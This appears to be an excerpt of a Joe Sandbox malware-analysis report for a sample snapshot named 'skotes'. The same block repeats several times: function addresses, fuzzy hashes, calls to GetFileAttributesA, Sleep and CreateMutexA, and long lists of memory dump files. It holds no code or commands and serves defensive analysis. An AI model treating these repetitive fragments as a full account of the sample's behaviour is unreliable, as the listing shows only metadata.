Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: n{
API String ID: 2531987475-3633871361
Opcode ID: 54637ab046c31f1f72be3308293c06bb455d1e28d74905d900471a82dfa00612
Instruction ID: 5b75ef8dc8e7716c55f2cf6db4888eb5759e29199fe88b3fc047d7cbe0496769
Opcode Fuzzy Hash: 54637ab046c31f1f72be3308293c06bb455d1e28d74905d900471a82dfa00612
Instruction Fuzzy Hash: C8415E71904208AFDB28EF75DC45AEBB7F9EFC8300B10452AF856D3611EA38A901DB61

Function 00789BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00789BA8
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 6db3f6d53625337b5be9dd15b53852baff2b27a73532f82df8d2d27200be204d
Instruction ID: 74e035c92ebae702ce2b833eee6cd25b5a298a50d85a2bdc41872aa70af29aaf
Opcode Fuzzy Hash: 6db3f6d53625337b5be9dd15b53852baff2b27a73532f82df8d2d27200be204d
Instruction Fuzzy Hash: F5316A71644204DBFB08EB78DCC976DBB62EB85310F248219E514D73D6D73E69808762

Function 00789CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00789CDD
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: d9b4c2a1055a86e864625f689f7c1ade5d25fa5b491ff5a50261f7c07f8658c9
Instruction ID: 8b819b823feec7aabdcf94ed9f5d302d5295cfb074ef40a5c7ab2a79738b1e2f
Opcode Fuzzy Hash: d9b4c2a1055a86e864625f689f7c1ade5d25fa5b491ff5a50261f7c07f8658c9
Instruction Fuzzy Hash: B9312531744140ABEF18EBB8DCC87ADB662EB85310F288619E614D72D5D73DA9808766

Function 00789F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00789F47
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 0035b7c531db3507b4942f7a49223053fd8cee0dbf64bd6092cbe460800b4637
Instruction ID: 7b13945f8d3c02ec7286880bb3c842385cafccad76030d4f73b6e197002b3248
Opcode Fuzzy Hash: 0035b7c531db3507b4942f7a49223053fd8cee0dbf64bd6092cbe460800b4637
Instruction Fuzzy Hash: 15316A31644104ABFB18EBB8DC887ADB762EB85310F24421AE558D72D1D73D69808722

Function 0078A079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A07C
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: dcdb0bbb2ccc9c8926be78607fa3f745a3bfe98684ae0cb2d09a7e2c2ad1dbbf
Instruction ID: e9b350c2088c9603958beef197d7259def9721c5904e26047387d82bfb9b920f
Opcode Fuzzy Hash: dcdb0bbb2ccc9c8926be78607fa3f745a3bfe98684ae0cb2d09a7e2c2ad1dbbf
Instruction Fuzzy Hash: 65312731A44104ABFB18ABB8DCC9B6DB772EB85314F24421AE414D72D1E73D69808723

Function 0078A1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A1B1
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: c4d092af29f5f344ae1f2c89cf3d66a8808f2df83e3f19f2124a505d9380b532
Instruction ID: d0f2894df103b36a4b63593376f95235657b9a40b15cdad1ce0114281bab9f65
Opcode Fuzzy Hash: c4d092af29f5f344ae1f2c89cf3d66a8808f2df83e3f19f2124a505d9380b532
Instruction Fuzzy Hash: BD311631A44144AFFB18EBB8DCCDB6DB772ABC6310F24421AE554D72D1D73EA9808722

Function 0078A2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A2E6
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
